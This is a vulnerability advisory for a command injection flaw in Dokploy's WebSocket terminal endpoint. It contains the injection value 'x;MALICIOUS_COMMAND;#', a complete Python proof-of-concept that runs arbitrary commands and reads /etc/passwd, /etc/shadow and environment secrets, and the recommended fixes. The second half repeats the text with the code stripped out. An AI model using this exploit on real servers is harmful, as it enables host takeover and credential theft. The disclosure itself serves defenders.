Summary
A critical command injection vulnerability exists in Dokploy's WebSocket endpoint /docker-container-terminal. The containerId and activeWay parameters are directly interpolated into shell commands without sanitization, allowing authenticated attackers to execute arbitrary commands on the host server.
Vulnerability Details
Affected File: apps/dokploy/server/wss/docker-container-terminal.ts
The vulnerability occurs because user-supplied parameters are directly concatenated into shell commands:
// Lines 32-33: User input extracted without validation
const containerId = url.searchParams.get("containerId");
const activeWay = url.searchParams.get("activeWay");
// Line 57 (SSH remote execution): Direct interpolation
conn.exec(`docker exec -it -w / ${containerId} ${activeWay}`, { pty: true }, ...);
// Lines 123-127 (Local execution): Direct interpolation into shell
const ptyProcess = spawn(shell, ["-c", `docker exec -it -w / ${containerId} ${activeWay}`], {});
Attack Vector
An attacker can inject shell metacharacters via the containerId parameter:
containerId = "x;MALICIOUS_COMMAND;#"
This results in:
docker exec -it -w / x;MALICIOUS_COMMAND;# sh
The shell interprets ; as a command separator, executing MALICIOUS_COMMAND independently.
Proof of Concept
PoC Script
#!/usr/bin/env python3
"""
Dokploy Command Injection PoC (CVE-2026-XXXXX)
Authenticated RCE via WebSocket - CRITICAL
Usage:
python3 dokploy-poc.py <target> <cookie> # Run default tests
python3 dokploy-poc.py <target> <cookie> <cmd> # Run custom command
Examples:
python3 dokploy-poc.py http://localhost:3000 "cookie=xxx" whoami
python3 dokploy-poc.py http://localhost:3000 "cookie=xxx" "ls -la /root"
python3 dokploy-poc.py http://localhost:3000 "cookie=xxx" "cat /etc/shadow"
"""
import sys, asyncio
from urllib.parse import quote
try:
import websockets
except ImportError:
sys.exit("pip install websockets")
async def exploit(target, cookie, cmd):
payload = f"x;{cmd};#"
uri = f"{target.replace('http','ws')}/docker-container-terminal?containerId={quote(payload)}&activeWay=sh"
out = ""
try:
async with websockets.connect(uri, additional_headers={"Cookie": cookie}) as ws:
while True:
try:
out += await asyncio.wait_for(ws.recv(), timeout=2)
except asyncio.TimeoutError:
break
except Exception as e:
return f"Error: {e}"
# Clean docker error noise
lines = out.split('\n')
clean = [l for l in lines if not any(x in l for x in ['docker:', 'Usage:', 'docker exec', "See '"])]
return '\n'.join(clean).strip()
async def main():
if len(sys.argv) < 3:
print(__doc__)
sys.exit(1)
target, cookie = sys.argv[1], sys.argv[2]
if len(sys.argv) > 3:
cmd = " ".join(sys.argv[3:])
print(f"$ {cmd}\n")
print(await exploit(target, cookie, cmd))
else:
print(f"[*] Target: {target}\n")
for name, cmd in [("id", "id"), ("passwd", "head -3 /etc/passwd"), ("env", "env|head -5")]:
out = await exploit(target, cookie, cmd)
vuln = "uid=" in out or "root:" in out or "=" in out
print(f"[{'!' if vuln else '?'}] {name}: {out[:150] if out else 'no response'}\n")
if __name__ == "__main__":
asyncio.run(main())
Exploitation Evidence
Tested on canary environment (canary.dokploy.com):
Impact
- Remote Code Execution (RCE) on the Dokploy host server
- Credential Theft - Access to environment variables containing secrets, API keys, database passwords
- Full System Compromise - Read/write access to all deployed applications and data
- Potential Container Escape - Possibility of escalating to host system
Recommended Fix
Option 1: Input Validation
function isValidContainerId(id: string): boolean {
return /^[a-f0-9]{12,64}$/i.test(id);
}
function isValidShell(shell: string): boolean {
return ['sh', 'bash', 'zsh', 'ash'].includes(shell);
}
if (!containerId || !isValidContainerId(containerId)) {
ws.close(4000, "Invalid container ID");
return;
}
Option 2: Avoid Shell Interpolation
// Use array arguments instead of shell string
const ptyProcess = spawn('docker', ['exec', '-it', '-w', '/', containerId, activeWay], {});
References
Summary
A critical command injection vulnerability exists in Dokploy's WebSocket endpoint
/docker-container-terminal. ThecontainerIdandactiveWayparameters are directly interpolated into shell commands without sanitization, allowing authenticated attackers to execute arbitrary commands on the host server.Vulnerability Details
Affected File:
apps/dokploy/server/wss/docker-container-terminal.tsThe vulnerability occurs because user-supplied parameters are directly concatenated into shell commands:
Attack Vector
An attacker can inject shell metacharacters via the
containerIdparameter:This results in:
The shell interprets
;as a command separator, executingMALICIOUS_COMMANDindependently.Proof of Concept
PoC Script
Exploitation Evidence
Tested on canary environment (
canary.dokploy.com):Impact
Recommended Fix
Option 1: Input Validation
Option 2: Avoid Shell Interpolation
References